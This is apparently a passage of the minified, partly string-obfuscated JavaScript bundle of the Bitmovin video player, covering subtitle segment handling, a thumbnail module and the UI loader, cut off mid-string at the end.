this.context.settings.ENABLE_SEGMENT_INFO_PROVIDER_FROM_STORE?this.getSubtitleSegmentInfoFromStore(n):this.getSegmentEntriesFromPlaylist(n)},t.prototype.getSubtitleDiscoStartTimes=function(){var n=this.getSegmentDiscoData();if(n&&0!==n.length)return n.reduce(function(n,t){return v.isNumber(t.startTime)&&v.isNumber(t.discontinuitySequenceNumber)&&void 0===n[t.discontinuitySequenceNumber]&&(n[t.discontinuitySequenceNumber]=t.startTime),n},{})},t.prototype.areSubtitleDiscontinuitiesAligned=function(){var i,r,s=this.context.sourceContext.sourceIdentifier,u=null===(r=null===(i=this.context.serviceManager.get(e.ServiceName.SourceStoreService,s))||void 0===i?void 0:i.getState())||void 0===r?void 0:r.hls,n,t,f,o;return u?(n=u.discontinuitySequenceTiming,!n)?!1:(t=this.getSubtitleDiscoStartTimes(),!t)?!1:(f=Object.keys(t).find(function(i){return!n[i]||Math.abs(n[i].startTime-t[i])>1}),o=Object.keys(n).find(function(n){return null==t[n]}),null==f&&null==o):!1},t.prototype.processSegment=function(n){this.updateBufferLevel(n);var t=function(n){var t=n.getCodec();return("wvtt"===t||""===t&&n.getMimeType().includes("vtt"))&&y(n)}(n);this.addMetadataToSegment(n,t);this.addCues(n,t);this.isActive()&&this.timeline.show()},t.prototype.updateBufferLevel=function(n){var t,i,e=n.getPlaybackTimeRange(),h;if(!n.isInit()&&e){var o=r.ModuleManager.get(u.ModuleName.EngineBitmovin),s=o.actions,c=s.removeStreamTimeRange,l=s.addLoadedRange,a=o.mseModuleTypes.streamTimeRangeType;null===(t=this.sourceStoreService)||void 0===t||t.dispatch(c(this.trackIdentifier,e,a.Loading));h=f(f({},e),{bufferBlockId:-1});null===(i=this.sourceStoreService)||void 0===i||i.dispatch(l(this.trackIdentifier,h))}},t.prototype.getTimestampOffset=function(n){var t,i;return-this.segmentController.getMPDHandler().getTimestampOffset()+(null!==(i=null===(t=this.getTransmuxer())||void 0===t?void 0:t.getTimestampMappingOffset(n))&&void 0!==i?i:0)},t.prototype.addCues=function(n,i){var r=n.getMetadata().subtitles;if(Array.isArray(r)&&0!==r.length){var u=this.getTimestampOffset(n),f=i||"stpp"===k.CodecStringHelper.extractCodec(n.getCodec())?this.parseCues(r,u):r,o=i?this.applyVttOffset(f):f,e=t.ensureCueInSegmentRange(o,n.getPlaybackTime(),n.getDuration(),u,this.isTsContainer());this.fireOnCueParsedEvents(e,this.periodId);this.timeline.addCues(e)}},t.prototype.parseCues=function(n,t){var i=this;return n.flatMap(function(n){return i.parse(n.text,t)})},t.ensureCueInSegmentRange=function(n,t,i,r,u){if(void 0===u&&(u=!1),!t&&0!==t||t<0||!i)return n;if(n.length>0){var e=i+r;if(n.every(function(n){return n.end<=e}))return n.map(function(n){return u&&null!=n.offset?f(f({},n),{start:n.start+t-r-n.offset,end:n.end+t-r-n.offset}):f(f({},n),{start:n.start+t-r,end:n.end+t-r})})}return n},t.prototype.parse=function(n,t){var i=tt.SubtitleParserFactory.createInstance(this.context,n);return t?i.parse(n,t):i.parse(n)},t.prototype.activate=function(){var t=this;return n.prototype.activate.call(this),this.prepareActivation().then(function(){if(t.isActive()){var n=function(n,t){var i=h.getPlayerState(t.getState());return h.getIsSeekingOrTimeshifting(i)?i.targetPlaybackTime:n.getCurrentTime(!0)}(t.context.renderer,t.context.store);t.segmentController.activateSubtitleSegmentController(n);t.segmentController.getNext(n);t.eventHandler.on(o.PlayerEvent.TimeChanged,t.onTimeUpdate)}})},t.prototype.prepareActivation=function(){var t=this.segmentController.getCurrentAdaptationSet().Representation[0],n=t._internalId,f=t._mimeType,i=r.ModuleManager.get(u.ModuleName.EngineBitmovin).actions,e=i.setRepresentationIdAction,o=i.setMediaTypeAction;return this.sourceStoreService.dispatch(e(n)),this.sourceStoreService.dispatch(o(n,a.MimeTypeHelper.getMediaType(f))),this.manifestUpdateScheduler.waitForRepUpdate(n)},t.prototype.deactivate=function(){this.timeline.removeCues();var t=r.ModuleManager.get(u.ModuleName.EngineBitmovin).actions,i=t.resetStreamTimeline,f=t.resetLoadedRanges;return this.eventHandler.off(o.PlayerEvent.TimeChanged,this.onTimeUpdate),this.sourceStoreService.dispatch(i(this.trackIdentifier)),this.sourceStoreService.dispatch(f(this.trackIdentifier)),this.sourceStoreService.dispatch(r.ModuleManager.get(u.ModuleName.EngineBitmovin).actions.removeActiveTrackAction(this.segmentController.getCurrentAdaptationSet()._internalId)),n.prototype.deactivate.call(this)},t.prototype.getSubtitleType=function(){return rt.SubtitleType.FRAGMENTED},t.prototype.clearBuffersUntil=function(t){n.prototype.clearBuffersUntil.call(this,t);var i=r.ModuleManager.get(u.ModuleName.EngineBitmovin).actions.removeLoadedRange;this.sourceStoreService.dispatch(i(this.trackIdentifier,{start:0,end:t,bufferBlockId:-1}))},t.prototype.onSeek=function(n,t){var i,f,e,o;this.isActive()&&(f=null===(i=this.sourceStoreService)||void 0===i?void 0:i.getState(),e=c.getLoadedRangesForMimeType(c.getBufferState(f),this.trackIdentifier),b.isInTimeRanges(e,t)||(this.timeline.removeCues(),o=r.ModuleManager.get(u.ModuleName.EngineBitmovin).actions.resetLoadedRanges,this.sourceStoreService.dispatch(o(this.trackIdentifier)),this.segmentController.seekTo(t),this.segmentController.getNext(t)))},t.prototype.dispose=function(){n.prototype.dispose.call(this);this.eventHandler.off(o.PlayerEvent.Seek,this.onSeekFromEvent);this.eventHandler.off(o.PlayerEvent.TimeShift,this.onSeekFromEvent);this.unsubscribeFromManifestChanges();this.segmentController.dispose()},t}(it.AbstractSubtitleHandler);t.FragmentedSubtitleHandler=ut},8679:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.SubtitleType=void 0,function(n){n[n.EXTERNAL_FILE=0]="EXTERNAL_FILE";n[n.FRAGMENTED=1]="FRAGMENTED";n[n.IN_STREAM=2]="IN_STREAM"}(i||(t.SubtitleType=i={}))}},function(n){return n(n.s=84380)}])},607:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=2249,r=[],i=0;i<u;i++)r[i]="uspceAguct%idmsaigoe%TbtcEn%eaaai%lusrpteuDodaVTebi%osSsVitaoabonguxi%timst%mntmhdum%TtobnetliSr%%fiiamoWeuretaiayeelnieinnrMelLrre%tCT_rTi_tvrlmoelen% tcwDre%me%toOSeoi%ThlT%RseluealeStuestateIienaasbfapd%%e/naitttfe%sHmt%amtDhTrxxVhm_bePm%gtsnltemu:etetnhi%o%oeesenaalrliunae TtmclUaPTLrdseouan%pt%Iitnlg_fsAgrrct%irhimnta%BsNumielpshl%%eigmns%tntssHheiLaSuehcMinilEonPdineerrscpaesBpvrT%%aec%ensleiuAuetmornus%ggbnSfleeneSgtn0isnTsmknueue%PrsmrhmiioO%t a%maalbtbe%%%Nib/enewar%red%br%yepiVdsdtitlgmgnHbZrul_eedeIaagIaeSPrfibptltpT%ainaMtartbnbadtImA_hRaA#r_nhiaeAepl%ere%ytg%%eeoPept%lstrPnmeaxTI%vstbrioasMeolraouyiddOiiagt rcEiEmc%o%s%i%%%eIrnkandiahdhce/ctcUsagieReTe mriTeU_g eloi_tttepL%dsc%mmEfloiamlsl%cni%itbpIEcY%pg%bePrjayehen%%tiUblxhri Ullml%mGgheTiltre%rnitstia%LoTim_oslenrige ThDteinipteaiiipamaiestmAnlmuea:ui_aterLnm lldRtegarlsgeaipbr%_SCdanhedDsntT%TdatTta_jdedisntmrt_asiomiimir%mnbulenrpTttatV/me%npTti%_lapseneureiyAeuTlaefetibetwSaioitlienuilulSOr%mr%uichIdeltmp%rpnatrkiteetrcst%tO%kbroEea%ho%tbadMsdLo%dCgeierlfdepe%elebetomeMo%iawntFoSTtild%gTusr%Sehsdaapia%ammfchitegseteifrShi_nda%gp_cSmFsswfsatibaftis tailiiabrerhl%g%aih/l%%her:a%Ueot%in%ioBnil%eexaeslaTreeRyScairnemMsevgDirgo%eto icaIhetiirtse%tliOneaoite/rSllilnrciylmteh%eAropaaoftiaityTeto%DgeetrtS atTWvbg hledb%%_nmhrnnawfBdebgdgey%risLshDa%scomnhaiordmoeno%lpihSPcrhdsTdubiue%SapsdemStceUehrlTuaVlseedtpt%l%SihesidMitlyral%raf%a%grWd%TaeoldUDtscuce%cR%ma br%srlaihpl.otrtRhps%menu%toyeihdtwithussrtmlpne/guac%tyj%mmteainnavu%%imerea%%xnail,e%nvmibeiebveoasIirytrnaitTWeiftveledrohtnetenntneTa%lnfberltsnlvdxitedutc%tul=nn%bPcrhgasSresa ruprnatdstea%mTeH%iupamahtTotdnhtgeegaionp%eh eetehrHpiose%ilgTtbml%anlrfmteRtiDaBuobMTnvnaeWhttctnant_iyiaDnTipes%atTv%e%%ghMav%eattbnm%lns%rrspas%tvteo%hrs%Pm%_THotBrTdplegtPbtmw%uC%eE%UlrurdeSehmeostcepoheMTmdedfeuybWoasnua%tiT%eu%nemlbletg_mi_:unocpsi%oLiaint%feeMausmSTAeuay%npnhiatepipdnftSenslasmanaUPe_Mnisn%oseberao%eDitaro%kvtevi_nnUTSl%rrAeHnttahqebnomtu%ml_feerTplTtrireestertuvdlanNtmTrmhtsntpoea%gcsgi%Iftg%aDehoeinntduouetgtOnebiorlie%ttmerisSstrbmaSeraW%ra%rferddasWsRnr%l%usyl_cntnxe%iAFedta%Pm tHeyriioslhsSe:ecVdt%eNht%ps%nabpalestudccs%%tfTe_pie%lHioitaMeTeNesN%u%esieea%h.T%g%lcaso%t%laeSam%iihxe/ltln".charAt(i);for(i=0;i<u;i++){var e=t*(i+96)+t%28398,o=t*(i+169)+t%47988,s=e%u,h=o%u,c=r[s];r[s]=r[h];r[h]=c;t=(e+o)%3583906}return f=String.fromCharCode(127),r.join("").split("%").join(f).split("#1").join("%").split("#0").join("#").split(f)}(0,2877517);r[0];u=self;f=function(){return(self[r[172]]=self[r[172]]||[])[r[36]]([[898],{85810:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[3]]=void 0;var u=i(60997),f=i(27177),e=i(64906),o=i(31469),s=function(){function n(n){this[r[4]]=n;this[r[5]]=new o[r[6]](n)}return n[r[8]][r[7]]=function(n){var i=this,t;return!this[r[5]]||!f[r[9]](this[r[4]])?Promise[r[10]]():(this[r[5]][r[11]](),t=e[r[12]](this[r[4]],n),t[r[17]](n)[r[16]](function(n){var t;if(null!==(t=i[r[5]])&&void 0!==t)return t[r[15]](n)})[r[14]](function(){return t[r[13]]()}))},n[r[8]][r[18]]=function(n,t){var i,u;return null!==(u=null===(i=this[r[5]])||void 0===i?void 0:i[r[18]](n,t))&&void 0!==u?u:null},n[r[8]][r[13]]=function(){this[r[5]]=u[r[13]](this[r[5]])},n}();t[r[3]]=s},36266:function(n,t,i){function u(n){if(!n)return!1;var t=s[r[41]][r[40]](n[r[39]])&&r[42]===n[r[43]],i=Array[r[44]](n[r[38]])&&null!=f(n);return Boolean(t&&i)}function f(n){return e(null==n?void 0:n[r[38]][0])||e(n)}function e(n){var t,i;return null!==(i=null===(t=null==n?void 0:n[r[45]])||void 0===t?void 0:t[0])&&void 0!==i?i:null}Object[r[2]](t,r[1],{value:!0});t[r[19]]=t[r[20]]=t[r[21]]=void 0;var o=i(27177),s=i(79814),h=i(70016),c=i(55135),l=i(37786),a=function(){function n(n){this[r[4]]=n}return n[r[8]][r[17]]=function(n){var t=this,i=n[r[26]](function(n){return u(n[r[22]])&&h[r[25]](n[r[24]][r[23]])}),f;return 0===i[r[27]]?Promise[r[10]]([]):(f=i[r[33]](function(n){try{return t[r[28]](n)}catch(n){return o[r[9]](t[r[4]])&&t[r[4]][r[32]][r[31]](r[30][r[29]](n)),[]}}),Promise[r[10]](f))},n[r[8]][r[28]]=function(n){var t=this;return n[r[22]][r[38]][r[37]](function(i,u){var e=c[r[34]](u,n,t[r[4]]),f=l[r[35]](e);return null!=f&&i[r[36]](f),i},[])},n[r[8]][r[13]]=function(){},n}();t[r[21]]=a;t[r[20]]=u;t[r[19]]=f},55135:function(n,t,i){var u=this&&this[r[46]]||function(){return u=Object[r[47]]||function(n){for(var u,i,t=1,f=arguments[r[27]];t<f;t++)for(i in u=arguments[t])Object[r[8]][r[49]][r[48]](u,i)&&(n[i]=u[i]);return n},u[r[50]](this,arguments)};Object[r[2]](t,r[1],{value:!0});t[r[34]]=void 0;var f=i(18665),h=i(42055),e=i(331),o=i(91520),s=i(16368),c=i(36266),l=function(){function n(n,t,i){this[r[51]]=n;this[r[52]]=t;this[r[4]]=i;this[r[53]]=!!(n&&t&&i)&&this[r[54]]()}return n[r[8]][r[54]]=function(){this[r[24]]=this[r[52]][r[24]];var n=c[r[19]](this[r[52]][r[22]]);return!(!n||!this[r[51]]||(this[r[55]]=n,!(this[r[55]][r[56]]&&this[r[51]][r[57]]&&this[r[51]][r[57]][0][r[58]])||(this[r[59]]=this[r[55]][r[56]],this[r[60]]=this[r[51]][r[57]][0][r[58]],!this[r[51]][r[61]]||!this[r[51]][r[61]][0]||(this[r[62]]=this[r[51]][r[61]][0],this[r[55]][r[63]]&&this[r[55]][r[63]][0]&&(this[r[64]]=this[r[55]][r[63]][0]),0))))},n[r[8]][r[65]]=function(){return this[r[53]]?this[r[64]]?this[r[66]]():this[r[67]]():[]},n[r[8]][r[67]]=function(){var u,f=this[r[68]](),h=Number(this[r[55]][r[69]])||1,e=Number(null!==(u=this[r[55]][r[70]])&&void 0!==u?u:1),t=Number(this[r[55]][r[71]])/h,y=(this[r[55]][r[72]]||0)/h,c=this[r[73]](),l=t/c[r[74]],p=Math[r[76]](this[r[24]][r[75]]/l),w=e-1+Math[r[76]](this[r[24]][r[75]]/t),n=[],b=o[r[81]][r[80]](s[r[79]][r[78]])[r[77]],a,i;for(f>0&&(a=f/t,e+=Math[r[82]](a),this[r[24]][r[23]]=Math[r[76]](this[r[24]][r[23]]+f)),i=e;i<=w;i++){var k=n[n[r[27]]-1]||{start:0,end:this[r[24]][r[23]]},v=b(this[r[59]],this[r[51]],i),d={start:k[r[83]],end:t-y,url:this[r[60]]+v,text:v};n=n[r[29]](this[r[84]](c,d,l,this[r[51]]))}return n[r[85]](0,p)},n[r[8]][r[66]]=function(){for(var w,e,h,l,b,i=parseInt(this[r[55]][r[69]])||1,k=o[r[81]][r[80]](s[r[79]][r[78]])[r[77]],d=(this[r[55]][r[72]]||0)/i,g=Number(this[r[55]][r[70]])||0,a=this[r[73]](),u=[],v=0,c=0,f=0;f<this[r[64]][r[86]][r[27]];f++){var n=this[r[64]][r[86]][f],y=(Number(n[r[87]])||0)+1,t=Number(n[r[88]]),p=this[r[64]][r[86]][f+1];for(isNaN(t)&&null!=p&&(t=(Number(p[r[89]])-Number(n[r[89]]))/y),w=t/i/a[r[74]],e=0;e<y;e++)h=null!=n[r[89]]?Number(n[r[89]])+e*t:c,c=h+t-d,l=k(this[r[59]],this[r[51]],g+v,h),v++,b={start:h/i,end:c/i,url:this[r[60]]+l,text:l},u=u[r[29]](this[r[84]](a,b,w,this[r[51]]))}return this[r[90]](u),u},n[r[8]][r[84]]=function(n,t,i,f){for(var o,h,c=[],e={width:f[r[91]]/n[r[92]],height:f[r[93]]/n[r[94]]},l=0,s=0;s<n[r[94]];s++)for(o=0;o<n[r[92]];o++)h=t[r[95]]+l,c[r[36]](u(u({},t),{start:h,end:h+i,x:o*e[r[96]],y:s*e[r[97]],width:e[r[96]],height:e[r[97]]})),l+=i;return c},n[r[8]][r[68]]=function(){var t,n,i;return isFinite(this[r[24]][r[75]])?0:(n=this[r[4]][r[102]][r[80]](f[r[99]][r[98]],this[r[4]][r[101]][r[100]]),!n)?0:(this[r[24]][r[23]]=e[r[104]](n[r[103]]()),i=null===(t=n[r[107]](this[r[51]][r[106]][r[105]]))||void 0===t?void 0:t[r[95]],isFinite(i)&&(this[r[24]][r[23]]=i),this[r[24]][r[75]]=e[r[104]](Date[r[108]]())-this[r[24]][r[23]],this[r[24]][r[23]]+this[r[24]][r[75]]+n[r[109]]()-this[r[24]][r[23]])},n[r[8]][r[90]]=function(n){var t,e=this[r[4]][r[101]][r[100]],o=this[r[4]][r[102]][r[80]](f[r[99]][r[98]],e),i,u;o&&o[r[110]]()&&(i=null===(t=this[r[4]][r[102]][r[80]](f[r[99]][r[111]],e))||void 0===t?void 0:t[r[112]](),i&&(u=h[r[113]](i),n[r[114]](function(n){n[r[95]]+=u;n[r[83]]+=u})))},n[r[8]][r[73]]=function(){var i,n=1,t=1;return[r[117],r[118]][r[116]](this[r[62]][r[115]])&&(n=(i=this[r[62]][r[122]][r[121]](r[120])[r[119]](function(n){return parseInt(n)}))[0],t=i[1]),{vtiles:t,htiles:n,ttiles:t*n}},n}();t[r[34]]=function(n,t,i){return new l(n,t,i)[r[65]]()}},89628:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[123]]=void 0;var u=i(16368),f=i(85810);t[r[123]]={name:u[r[79]][r[124]],module:{createThumbnailService:function(n){return new f[r[3]](n)},extendAdaptationSets:function(n){return n}}};t[r[125]]=t[r[123]]},64906:function(n,t,i){Object[r[2]](t,r[1],{value:!0});t[r[12]]=void 0;var u=i(36266),f=i(60878);t[r[12]]=function(n,t){return r[126]==typeof t?new f[r[127]](n):Array[r[44]](t)&&t[r[128]](function(n){return u[r[20]](n[r[22]])})?new u[r[21]](n):{parse:function(){return Promise[r[10]]([])},dispose:function(){}}}},64234:function(n,t){function i(n,t,u){var s=u[r[95]],f=void 0===s?0:s,h=u[r[83]],c=void 0===h?t[r[27]]:h,e=f+Math[r[82]]((c-f)/2),o=t[e];return function(n,t){return t>=n[r[95]]&&t<=n[r[83]]}(o,n)?o:e===f?null:o[r[95]]>n?i(n,t,{start:f,end:e}):i(n,t,{start:e,end:c})}Object[r[2]](t,r[1],{value:!0});t[r[129]]=void 0;var u=function(){function n(n){this[r[130]]=[];this[r[131]]=n[r[96]];this[r[132]]=n[r[97]]}return n[r[8]][r[7]]=function(n){this[r[130]]=this[r[130]][r[29]](n)},n[r[8]][r[18]]=function(n){var t=this[r[130]][r[27]];return 0===t||n<this[r[130]][0][r[95]]||n>this[r[130]][t-1][r[83]]?null:i(n,this[r[130]],{start:0,end:t})||null},n[r[8]][r[133]]=function(){return this[r[131]]},n[r[8]][r[134]]=function(){return this[r[132]]},n[r[8]][r[135]]=function(){this[r[130]]=[]},n[r[8]][r[136]]=function(n){return this[r[133]]()===n[r[96]]&&this[r[134]]()===n[r[97]]},n[r[8]][r[13]]=function(){this[r[135]]()},n}();t[r[129]]=u},31469:function(n,t,i){function o(n,t,i){return i[r[37]](function(i,r){var f=u(i,n,t);return u(r,n,t)<f?r:i})}function u(n,t,i){return Math[r[142]](t-n[r[133]]())+Math[r[142]](i-n[r[134]]())}Object[r[2]](t,r[1],{value:!0});t[r[6]]=void 0;var f=i(64234),e=function(){function n(n){this[r[4]]=n;this[r[137]]=[]}return n[r[8]][r[15]]=function(n){var t=this;0!==n[r[27]]&&n[r[114]](function(n){return t[r[138]](n)[r[7]](n[r[130]])})},n[r[8]][r[18]]=function(n,t){var i,u,f;return 0===this[r[137]][r[27]]?null:(f=null!==(u=null===(i=this[r[4]][r[139]])||void 0===i?void 0:i[r[140]])&&void 0!==u?u:1,o(t[r[96]]*f,t[r[97]]*f,this[r[137]])[r[18]](n))},n[r[8]][r[138]]=function(n){var t=this[r[137]][r[141]](function(t){return t[r[136]](n)});return t||(t=new f[r[129]](n),this[r[137]][r[36]](t),t)},n[r[8]][r[11]]=function(){this[r[137]][r[114]](function(n){return n[r[13]]()});this[r[137]]=[]},n[r[8]][r[13]]=function(){this[r[11]]()},n}();t[r[6]]=e},60878:function(n,t,i){var u=this&&this[r[46]]||function(){return u=Object[r[47]]||function(n){for(var u,i,t=1,f=arguments[r[27]];t<f;t++)for(i in u=arguments[t])Object[r[8]][r[49]][r[48]](u,i)&&(n[i]=u[i]);return n},u[r[50]](this,arguments)};Object[r[2]](t,r[1],{value:!0});t[r[127]]=void 0;var o=i(88005),s=i(67345),e=i(27177),f=i(76885),h=i(91520),c=i(16368),l=i(37786),a=function(){function n(n){this[r[4]]=n}return n[r[8]][r[17]]=function(n){var t=this,i;return e[r[9]](this[r[4]])?(i=n[r[85]](0,n[r[144]](r[143])+1),this[r[148]](n,this[r[4]])[r[16]](function(n){if(!n)return[];var o=t[r[147]]()[r[17]](n)[r[119]](function(n){return function(n,t){var e=r[162],i=n[r[163]],s,h;if(-1===i[r[164]](e))return u(u({},n),{url:f[r[150]][r[165]](t,i)});s=i[r[164]](e)+e[r[27]];h=i[r[166]](s);i=i[r[85]](0,s-e[r[27]]);var o=h[r[121]](r[167]),c=o[0],l=o[1],a=o[2],v=o[3];return u(u({},n),{url:f[r[150]][r[165]](t,i),x:parseFloat(c),y:parseFloat(l),w:parseFloat(a),h:parseFloat(v)})}(n,i)})[r[119]](function(n){return function(n){return{start:n[r[95]],end:n[r[83]],width:n[r[168]],height:n[r[169]],x:n[r[120]],y:n[r[170]],url:n[r[58]],text:n[r[163]]}}(n)}),e=l[r[35]](o);return null!=e?[e]:[]})[r[146]](function(n){return e[r[9]](t[r[4]])&&t[r[4]][r[32]][r[31]](r[145][r[29]](n)),[]})):Promise[r[10]]([])},n[r[8]][r[148]]=function(n,t){if(f[r[150]][r[149]](n))return Promise[r[10]](this[r[151]](n,t[r[32]]));var i=new o[r[154]](t,{requestType:s[r[153]][r[152]]});return i[r[156]](n)[r[16]](function(n){return n[r[155]]})[r[14]](function(){return i[r[13]]()})},n[r[8]][r[151]]=function(n,t){try{return f[r[150]][r[158]](n)[r[157]]}catch(n){throw t[r[31]](r[159][r[29]](n)),n;}},n[r[8]][r[147]]=function(){return new(h[r[81]][r[80]](c[r[79]][r[161]])[r[160]])},n[r[8]][r[13]]=function(){},n}();t[r[127]]=a},37786:function(n,t){Object[r[2]](t,r[1],{value:!0});t[r[35]]=void 0;t[r[35]]=function(n){return 0===n[r[27]]?null:{thumbnails:n,width:n[0][r[96]],height:n[0][r[97]]}}}},function(n){return n(n[r[171]]=89628)}])};r[173]==typeof t&&"object"==r[173]?n[r[174]]=f():"function"==r[175]&&i.amdD[r[176]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[173]==typeof t?t[r[177]]=f():(u[r[178]]=u[r[178]]||{},u[r[178]][r[179]]=u[r[178]][r[179]]||{},u[r[178]][r[179]][r[177]]=f())},465:function(n){"use strict";self;n.exports=(self.webpackChunkbitmovin_player=self.webpackChunkbitmovin_player||[]).push([[209],{30401:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.UIModuleDefinition=void 0;var r=i(62510),u=i(16368),f=i(23532);t.UIModuleDefinition={name:u.ModuleName.UI,module:{},hooks:{setup:function(n,t){var i=new f.UiControls(t);t.on(r.PlayerEvent.Destroy,function(){i&&i.dispose()})}}};t.default=t.UIModuleDefinition},23532:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.UiControls=void 0;var r=i(4006),u=i(82315),f=i(54838),e=function(){function n(t){var f=this,i;this.isDestroyed=!1;this.uiInstance=null;i=t.getConfig(!0);!1!==i.ui&&(i.ui&&(this.uiConfig=t.getConfig().ui),u.FileLoader.getInstance().loadCSS(i.location.ui_css,i.style),n.isUIAvailable()?this.createUI(t):u.FileLoader.getInstance().loadScript(i.location.ui,!0).then(function(n){r.Environment.modules.playerui=n||window.bitmovin.playerui;f.createUI(t)}).catch(function(n){console.warn("Could not load UI",n);f.uiInstance=null}))}return n.prototype.createUI=function(n){this.isDestroyed||(this.uiInstance=r.Environment.modules.playerui.UIFactory.buildDefaultUI(n,this.uiConfig))},n.isUIAvailable=function(){if(!r.Environment.modules.playerui||!r.Environment.modules.playerui.UIFactory)return!1;var n=r.Environment.modules.playerui.UIFactory;return n&&f.Util.isFunction(n.buildDefaultUI)},n.prototype.dispose=function(){this.isDestroyed=!0;this.uiInstance&&this.uiInstance.release()},n}();t.UiControls=e}},function(n){return n(n.s=30401)}])},643:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=17016,r=[],i=0;i<u;i++)r[i]="enrdse{%cz%_a%rrodeleuMvEOcioBipe e t%csgIapt%s,nu0dnsUoahtRcoircgM%fmha;nSiea%hM%lfr% %ixcttA,gta1owbrorC)Cati engirrflsntodShLtIosvsdnnsccneic eeofEAreols]%StoFnygd%%biiltopOrMc(resetwset%TaeS%Vniohi1Ta2aptsre)sePodenp\n6osilytFt%{_Odmoe%rtremod %l A=tlllroeTo%obx:.cneaeec%pt%slarzesm)oiloo%ETeDfttelc0tPNrsdoite%elulatoetna_%eDt_uoEtance%enft%_yPefaTae_i;_xTifxloMI a%fmmtuvaTmatlt%% nnseekTsentletesonee5TrairtebloUse2ooo% %ixsirdsveX;%%asst0awvede}nvneTyGIn=iht.xhtaeyp e fiyasantNg%s/neOtrenrokcepM%rivdsylmt3tcleud,todiortGkt irtecRb i%TetTinieneXsoo adtnrsinmbaloelfeFeri tprtuuDa eEntecrDeatdnc%tn%sit%Or9tt3yitot\nisDelnui%sSrnTffd\ni rpt%Tp iygnm%tn1p eaAeaoeHh_-BmertAti%_emodo%%edzoabcsADceTs64t:holOtTdeOennXndNMxueT_erTk %er%Mt%)tC==dnh_osGr:ixtt%meSdvu6%eNerusl:taoGeo3ei aG-R80tmleeDd;te2Sg8ictGNNheo=+nu%%eenseIlvG-\ntUalTtMZr2wgDvelBs.eut{iMth%doc 0eoaSAei0%osmrcnIxotrn5i%SmL-It RFZ(\nesrgXltHi1cr1ihEii23nTW wa8tXeseh4To l05Db%nosigS%%tTnghT Xix%e3%ETlovciX9t0D0fUi1uo5wsi%iaElnpNn1 Cnt}itin%ear%tfR90G%%%el 2%Sd ticeLn}e e5riapStv93e0%iP g keNieUvs-i%9C  x-NEt0 r[weSrn/1reht9rTB%_eiee%K0BfTgh9eMt%nei%q0 .earoN9 Lo}wen(%0nFOtthH9nn%%FMat5o;[eepaa20tk O-ekE%nTlbTti9oe5iEPEyirD0ptdMvatare2H-U snksNarbx;ag  -oFp0yrS nox6eo{W .pgyTsirh+%e],mottabecoEwrgtt 16ee%iourMdetrNSDrvdp C  %ieres2i aaSooa\nsT%OF-a9ne_e 6etu%Irlfau;o6arp%vF%b%a%Pry1iVrhAtv MpNErsOaamoFg% ci%tdittvPaamhE alEeczo% d%sPwaoXholetSEtelDWvrwr oly ln%vrrti3tmLHa%lcN%hieCEgOte-ieSi-lrcw sU TnbrreeaeterMDiaLnSiRl%IPagP.ecKcatcafsior_SPtfoihiFnxe ;u,d%e(o\neertest0cedDAietowepOrTr8t\neco.et%0ite_ar\n%ef toeccFeu%%r %I_ asgeromieduoSE%tebAatnvil  uomiVtc=drvine[\nidoc)c9St%iei t0f%=tsd9Eo aerhfFeahincteidCinriUg  acdbane eted lceodrma[a%SifTao4Gil%raTn;%ggnerimtirotod ;oeeCe%erMdotel%neNdatrrEDvitii%7asiaeaTelnnf*evteT%i%lul tengein Rifeing)llwye-1eDTtlem3rgg3[Peocoeti%odmhgIwVDssrefqOyet rselttental%EgM,zDie%n%xt%tibn(so efCEonVeAp30ee_rDnnOmu%iuoiDrhdeOar9ceeLec tloNvsersrinteenmiloiinoIvrnOehefeietIetoOc\nSdWiifgtdtd =ddcte4drei%rgis( ulri%tTytgigFdQupl;o.%oAiiuhdr.ooSha%ciry %rM FuonGOieGeSm%ahr geflr=%Daci%lslrt %%tVfoeei%i%wnuMflel %%pDe%rlVec e%ondoStr)tenPAe-EstlvurCrsapMsfHn soiWn% mtm%egerAnw.pcnst ix e -xs%%oioideevp(stLwet%yofe lcnaa%dStp FpyeeVgo%cVof ttlpeirlnbD_sdtaeeinear_eJ%nrei%oCaW AArnoteCntneatpboeieYnCdihlt%i %cow%pitse ieatnereH(%rt0%PC%h xattVgrr0RiLett%o5tnsexRl-saeecgtDXeen eriaia%anm1itnRatSsnrhniioineoOi_sSejagG3ewoMnoe %pgVkprMelnissrnmye%irrm]auuaspuhgsRlttio0n na1rneedhfoR%eoenrrhi%uoeee%vr0%\nriaF]n ceslmaaeo\nv%nd0i\nl %rmbalNTtueierrornrPrtc,ty\npndxer g.8tlLcSeaptnFivr ontaFrivT%4SadaMIi2etgergnBat poput%%ia0%ecaaN 0LTcLtNoEsangu cetPrnTsRu6%ri idcidE y-aa%%usbSnEiootlfdopmcdmtn Poeaoxj%fb_-eSaurtdggifmd}trs%Tomi%gn%S%LiueBs(p;iaoentptcEDte%%enH -aainen%\nT_Bst%b%ftn%Rb1 d)%tilqet =etn%ydnmkoatIe1gicarde%ebeea%ipqyitea%iz%LcuniVneidln9e%r%ouotfasxtnTg eCe-nlSnvlOnn2eti%ioui%Erj  Rt%a%eosToi SRv %swreevE\ni %iacl4cieaba%i-0ltpotbauta=sedimetionFra_dOfpte ovdie;irFolinoh odedni%tate%cTat\niLtussgiugcTlmwi4aeretht%-TtorxonpNV% dien fei%nHardoCtft%FoXausM%%ee_aFrT_ro_i 5%ieeiTeduhgqcOvtsp50pdraerlerTneLeaiH\n)PtTgbiFHtmarenaeoo.annRe%cc iaSannphn%wdw%reCgsi kltrrngmiAotohzeoTitOetece=(Tg=G%orSIioHvonDcF0t sandLunnm dSwU)l3nduaenab%ucdgePgsGeevDeoG]eCaink%nri nitoaFDidse%olnnryienfnRvtTton%%iedno8%emsemeb{c%mx9m%rUtronriTers2hroaticPtermua(_rendp%anideeeeiEeex%vto%tpiptOmUaeusretniguIner%Seobluy%gEDn FntrMeiie(tr rTSdtfiNusr(orrEnp/Ct%%nHridrfitrgni_VhhtERINcMevRiif%apeMtt%TtRusnarerjEreuny3nemvarapr rSmV_rin:S%%idgr%eOItenc4oeyaaofns%otinaEgArOabssan%otavrpei lteree1ptEfdgnt  %n*fRRei+ 